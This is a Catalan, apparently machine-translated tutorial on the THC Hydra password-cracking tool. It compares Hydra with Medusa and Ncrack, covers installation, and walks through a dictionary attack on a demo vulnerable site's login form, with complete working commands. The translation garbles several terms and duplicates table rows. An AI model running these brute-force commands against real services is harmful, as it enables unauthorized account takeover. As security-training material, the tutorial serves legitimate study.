Una contrasenya es defineix tècnicament com una cadena secreta de caràcters que s’utilitza per autenticar o accedir als recursos. S’ha de guardar en secret i amagar-se d’altres persones que no tenen permís per accedir a aquests recursos. Les contrasenyes s’utilitzen amb els ordinadors des dels primers dies d’informàtica. Un dels primers sistemes de compartició de vegades es va introduir el 1961. Tenia una ordre d'inici de sessió que sol·licitava una contrasenya d'usuari. Després d’escriure PASSWORD, el sistema apaga el mecanisme d’impressió, si és possible, de manera que l’usuari pot escriure la seva contrasenya amb privadesa.
La força d'una contrasenya depèn de la longitud, la complexitat i la imprevisibilitat. Mesura l'eficàcia per resistir a endevinar-lo o trencar-lo. Les contrasenyes febles, d’altra banda, redueixen el temps necessari per endevinar i accedir als correus electrònics personals / corporatius, a dades sensibles com informació financera, informació comercial, targetes de crèdit, etc.
Hi ha moltes maneres en què una contrasenya pot ser feble corresponent al poder de força de diversos esquemes d'atac. El més popular d’aquest tipus d’atac de credencials és la força bruta. és un mètode d'assaig i error com endevinar, intentar descodificar dades xifrades, tals com a contrasenya o xifrat de dades, que utilitza el programa d'aplicació o l'eina de pirateig.
Hydra és el cracker d'inici de sessió més ràpid que admet nombrosos protocols d'atac. És molt ràpid i flexible i es poden afegir nous mòduls. Aquesta eina permet als investigadors i consultors de seguretat mostrar el fàcil que seria accedir de forma remota a un sistema no autoritzat. Hydra va ser escrita per Van Hauser i el seu suport addicional per David Maciejak. A la darrera actualització, el desenvolupament d’hydra es trasllada al repositori públic de github a: https://github.com/vanhauser-thc/thc-hydra.
Hydra es va provar per compilar-se a Linux, Windows / Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX / Blackberry i està disponible sota GPLv3 amb una ampliació de llicència OpenSSL especial.
THC Hydra admet aquests protocols: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1 + v2 + v3, SOCKS5, SSH (v1 i v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC i XMPP.
COMPARACIÓ D'HIDRA AMB ALTRES EINES DE CRACK
També hi ha moltes eines de cracker d'inici de sessió al costat d'Hydra, però cap admet una gran llista de protocols i suporta paral·lelament el cracker d'inici de sessió, com ho fa Hydra. Les taules següents mostren el resultat de la comparació de funcions, serveis i velocitat amb medusa i ncrack.
Característiques
Funció | Hidra | medusa | Ncrack |
Llicència | AGPLv3 | GPLv2 | Termes GPLv2 + Nmap |
Suport IPv6 | Sí | no | no |
Interfície gràfica d'usuari | Sí | Sí | no |
Suport internacionalitzat (RFC 4013) | Sí | no | no |
Suport del servidor intermediari HTTP | Sí | Sí | no |
Suport del servidor intermediari SOCKS | Sí | no | no |
Protocols admesos | 51 | 22 | 7 |
Serveis
Servei | Detalls | Hidra | medusa | Ncrack |
ADAM-6500 | Sí | no | no | |
AFP | Sí | Sí | no | |
Asterisc | Sí | no | no | |
Contrasenya de Cisco | Sí | no | no | |
Activa Cisco | Sí | no | no | |
CVS | Sí | Sí | no | |
Ocell de foc | Sí | no | no | |
FTP | Sí | Sí | Sí | |
Suport SSL | AUTH TLS i FTP sobre SSL | AUTH TLS i FTP sobre SSL | no | |
HTTP | Mètode (s) | ACONSEGUEIX-TE, CAP, POST | ACONSEGUIR | ACONSEGUIR |
Aut. Bàsica | Sí | Sí | Sí | |
Formulari HTTP | Mètode (s) | OBTÉ, POST | OBTÉ, POST | no |
Suport SSL | HTTPS | HTTPS | no | |
Servidor intermediari HTTP | Aut. Bàsica | Sí | no | no |
Aut. DIGEST-MD5 | Sí | no | no | |
Autenticació NTLM | Sí | no | no | |
Suport SSL | HTTPS | no | no | |
Enumeració d'URL PROXY HTTP | Sí | no | no | |
ICQ | v5 | Sí 1 | no | no |
IMAP | Assistència LOGIN | Sí | Sí | no |
Assistència AUTH LOGIN | Sí | no | no | |
Assistència AUTH PLAIN | Sí | Sí | no | |
Assistència AUTH CRAM-MD5 | Sí | no | no | |
Assistència AUTH CRAM-SHA1 | Sí | no | no | |
Assistència AUTH CRAM-SHA256 | Sí | no | no | |
Assistència AUTH DIGEST-MD5 | Sí | no | no | |
Suport AUTH NTLM | Sí | Sí | no | |
Assistència AUTH SCRAM-SHA1 | Sí | no | no | |
Suport SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | no | |
IRC | Contrasenya general del servidor | Sí | no | no |
Contrasenya del mode OPER | Sí | no | no | |
LDAP | v2, suport senzill | Sí | no | no |
v3, suport senzill | Sí | no | no | |
v3, suport AUTH CRAM-MD5 | Sí | no | no | |
Assistència AUTH DIGEST-MD5 | Sí | |||
Suport AUTH NTLM | Sí | Sí | ||
Assistència AUTH SCRAM-SHA1 | Sí | |||
Suport SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | Contrasenya general del servidor | Sí | ||
Contrasenya del mode OPER | Sí | |||
LDAP | v2, suport senzill | Sí | ||
v3, suport senzill | Sí | |||
v3, suport AUTH CRAM-MD5 | Sí | |||
v3, suport AUTH DIGEST-MD5 | Sí | |||
MS-SQL | Sí | Sí | ||
MySQL | v3.x | Sí | Sí | |
v4.x | Sí | Sí | ||
v5.x | Sí | Sí | ||
NCP | Sí | Sí | ||
NNTP | Suport d’USUARI | Sí | Sí | |
Assistència AUTH LOGIN | Sí | |||
Assistència AUTH PLAIN | Sí | |||
Assistència AUTH CRAM-MD5 | Sí | |||
Assistència AUTH DIGEST-MD5 | Sí | |||
Suport AUTH NTLM | Sí | |||
Suport SSL | STARTTLS i NNTP sobre SSL | |||
Oracle | Base de dades | Sí | Sí | |
Oient TNS | Sí | |||
Enumeració SID | Sí | |||
PC-NFS | Sí | |||
pcAnywhere | Autenticació nativa | Sí | Sí | |
Autenticació basada en SO (MS) | Sí | |||
POP3 | Suport d’USUARI | Sí | Sí | Sí |
Suport APOP | Sí | |||
Assistència AUTH LOGIN | Sí | Sí | ||
Assistència AUTH PLAIN | Sí | Sí | ||
Assistència AUTH CRAM-MD5 | Sí | |||
Assistència AUTH CRAM-SHA1 | Sí | |||
Assistència AUTH CRAM-SHA256 | Sí | |||
Assistència AUTH DIGEST-MD5 | Sí | |||
Suport AUTH NTLM | Sí | Sí | ||
Suport SSL | POP3S i STARTTLS | POP3S i STARTTLS | POP3S | |
PostgreSQL | Sí | Sí | ||
Asterisc | Sí | |||
PDR | Estació de treball de Windows | Sí | Sí | Sí |
Windows Server | Sí | Sí | ||
Aut. De domini | Sí | Sí | ||
REDIS | Sí | no | ||
REXEC | Sí | Sí | ||
RLOGIN | Sí | Sí | ||
RPCAP | Sí | no | ||
RSH | Sí | Sí | ||
RTSP | Sí | no | ||
SAP R/3 | Sí | |||
Siemens S7-300 | Sí | |||
SIP | Sí | |||
Suport SSL | SIP sobre SSL | |||
PIMES | Mode NetBIOS | Sí | Sí | no |
Mode Natiu W2K | Sí | Sí | Sí | |
Mode hash | Sí | Sí | no | |
Esborra autenticació de text | Sí | Sí | ||
Aut. LMv1 | Sí | Sí | Sí | |
Aut. LMv2 | Sí | Sí | Sí | |
Aut. NTLMv1 | Sí | Sí | Sí | |
Aut. NTLMv2 | Sí | Sí | Sí | |
SMTP | Assistència AUTH LOGIN | Sí | Sí | |
Assistència AUTH PLAIN | Sí | Sí | ||
Assistència AUTH CRAM-MD5 | Sí | |||
Assistència AUTH DIGEST-MD5 | Sí | |||
Suport AUTH NTLM | Sí | Sí | ||
Suport SSL | SMTPS i STARTTLS | SMTPS i STARTTLS | ||
Usuari SMTP Enum | VRFY cmd | Sí | Sí | |
EXPN cmd | Sí | Sí | ||
RCPT TO cmd | Sí | Sí | ||
SNMP | v1 | Sí | Sí | |
v2c | Sí | Sí | ||
v3 | (Només autenticació MD5 / SHA1) | |||
MITJONS | v5, autenticació de contrasenya | Sí | ||
SSH | v1 | Sí | ||
v2 | Sí | Sí | Sí | |
Claus SSH | v1, v2 | Sí | ||
Subversió (SVN) | Sí | Sí | ||
TeamSpeak | TS2 | Sí | ||
Telnet | Sí | Sí | Sí | |
XMPP | Assistència AUTH LOGIN | Sí | ||
Assistència AUTH PLAIN | Sí | |||
Assistència AUTH CRAM-MD5 | Sí | |||
Assistència AUTH DIGEST-MD5 | Sí | |||
Assistència AUTH SCRAM-SHA1 | Sí | |||
Daemon VMware Auth | v1.00 / v1.10 | Sí | Sí | |
Suport SSL | Sí | Sí | ||
VNC | Suport de contrasenya RFB 3.x. | Sí | Sí | |
Suport d’usuari RFB 3.x + contrasenya | (Només UltraVNC) | |||
Suport de contrasenya RFB 4.x. | Sí | Sí | ||
Suport d’usuari RFB 4.x + contrasenya | (Només UltraVNC) |
Comparació de velocitat
Velocitat (en s) | Hidra | medusa | Ncrack |
1 mòdul Tasca / FTP | 11.93 | 12.97 | 18.01 |
4 Tasques / mòdul FTP | 4.20 | 5.24 | 9.01 |
16 Tasques / mòdul FTP | 2.44 | 2.71 | 12.01 |
1 mòdul Tasca / SSH v2 | 32.56 | 33.84 | 45.02 |
4 Tasques / mòdul SSH v2 | 10.95 | Trencat | Perdut |
16 Tasques / mòdul SSH v2 | 5.14 | Trencat | Perdut |
Va ser una breu i senzilla introducció a Hydra. Ara passem a la instal·lació.
INSTAL·LACIÓ D'HIDRA
Hydra està preinstal·lat a kali linux, però si teniu un sistema operatiu diferent, podríeu compilar-lo i instal·lar-lo al vostre sistema. Actualment, el suport d’hydra en diferents plataformes:
- Totes les plataformes UNIX (Linux, * bsd, Solaris, etc.)
- MacOS (bàsicament un clon BSD)
- Windows amb Cygwin (tant IPv4 com IPv6)
- Sistemes mòbils basats en Linux, MacOS o QNX (per exemple, Android, iPhone, Blackberry 10, Zaurus, iPaq)
Per descarregar, configurar, compilar i instal·lar Hydra, només cal escriure al terminal:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Si teniu Ubuntu / Debian, necessitareu algunes biblioteques de dependències:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
Si no heu pogut trobar aquestes biblioteques al vostre dipòsit, haureu de descarregar-les i instal·lar-les manualment.
COM S’utilitza HYDRA
Enhorabona, ara heu aconseguit instal·lar Hydra al vostre sistema. En realitat, Hydra ve amb dos sabors, GUI-gtk i la meva versió CLI preferida. i, a més, hydra també té una versió guiada per CLI, la seva anomenada mag-hidra. Se us guiarà pas a pas en lloc d'escriure totes les ordres o arguments manualment al terminal. Per executar Hydra, des del tipus de terminal:
Per a CLI:
hydra
Per a l'assistent CLI:
hydra-wizard
Per a la GUI:
xhydra
Després d’escriure ‘hydra’, es mostraran ordres d’ajuda com aquesta:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Inici de sessió basat en Bruteforce amb hydra
Hydra admet alguns serveis de bruteforcing, com he esmentat anteriorment, un d’ells s’utilitza per iniciar sessió basats en web, com ara, formulari d’inici de sessió a xarxes socials, formulari d’inici de sessió de banca d’usuari, inici de sessió del vostre enrutador, etc. That http [s] -get-form que gestionarà aquesta sol·licitud. En aquest tutorial us mostraré com bruteforce els inicis de sessió web vulnerables. Abans de disparar Hydra, hauríem de conèixer alguns arguments necessaris, com ara a continuació:
- Objectiu : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Nom d'usuari d'inici de sessió : administrador (si no n’esteu segur, bruteforce this)
- Llista de contrasenyes : La ubicació de la llista de fitxers de diccionari que conté possibles contrasenyes.
- Paràmetres del formulari : en general, utilitzeu dades de manipulació o proxy per obtenir paràmetres de forma de sol·licitud. Però aquí estic fent servir la barra d'eines per a desenvolupadors de xarxa basada en firewox, iceweasel.
- Mòdul de servei : http-post-formulari
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
Obtenció de paràmetres de publicació mitjançant navegador, iceweasel / firefox
Al navegador firefox, premeu les tecles ' CTRL + MAJÚS + Q ‘. A continuació, obriu la pàgina d'inici de sessió webhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, notareu que apareix algun text a la pestanya desenvolupador de la xarxa. Us indica quins fitxers ens són transferits. Consulteu el mètode que són GET, ja que encara no hem publicat cap dada.
Per obtenir els paràmetres del formulari posterior, escriviu qualsevol cosa al formulari de nom d'usuari o contrasenya. Notareu un nou mètode POST a la pestanya desenvolupador de xarxa. Feu doble clic sobre aquesta línia, a la pestanya Capçaleres feu clic al botó Edita i reenvia al costat dret. Al cos de la sol·licitud, copieu l'última línia, com ara tfUName = asu & tfUPass = raimu . el tfUName i tfUPass són paràmetres que necessitem. Com es veu a continuació:
Kali linux té un munt de llistes de paraules, trieu la llista de paraules adequada o simplement utilitzeu el lloc rockyou.txt a / usr / share / llistes de paraules / com es veu a continuació:
Molt bé, ara tenim tots els arguments que necessitem i estem preparats per encendre hidra. Aquí teniu el patró d’ordres:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
Desglossem les ordres:
- el : és una paraula que conté un compte de nom d'usuari, utilitzeu -L per referir la llista de possibles noms d'usuari en un fitxer.
- Pàg : és una llista de fitxers de contrasenyes possibles, utilitzeu -p per utilitzar literalment una paraula de contrasenya en lloc d’endevinar-la.
- testapp.vunlwebapp.com : és un nom d'amfitrió o un objectiu
- http-post-formulari : és el mòdul de servei que fem servir
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = els 3 paràmetres necessaris, la sintaxi és:
{URL de la pàgina}: {Sol·liciteu paràmetres del formulari del cos de la publicació}: S = {Cerqueu qualsevol cosa a la pàgina després d'iniciar la sessió correctament} - v = Mode detallat
- V = mostra l'inici de sessió: passa per a cada intent
- f = Acabeu el programa si inicieu la sessió: es troba la contrasenya
Ara deixem que Hydra provi de trencar-nos la contrasenya, necessita temps ja que és un atac de diccionari. Un cop hàgiu aconseguit trobar un parell d'inici de sessió: la contrasenya hydra acabarà immediatament la feina i mostrarà la credencial vàlida.
Hi ha tantes coses que Hydra podria fer, ja que en aquest tutorial acabem d'aprendre a iniciar sessió basada en web mitjançant Hydra, només aprenem un protocol, és a dir, el protocol http-post-form. També podem utilitzar Hydra contra un altre protocol com ssh, ftp, telnet, VNC, proxy, etc.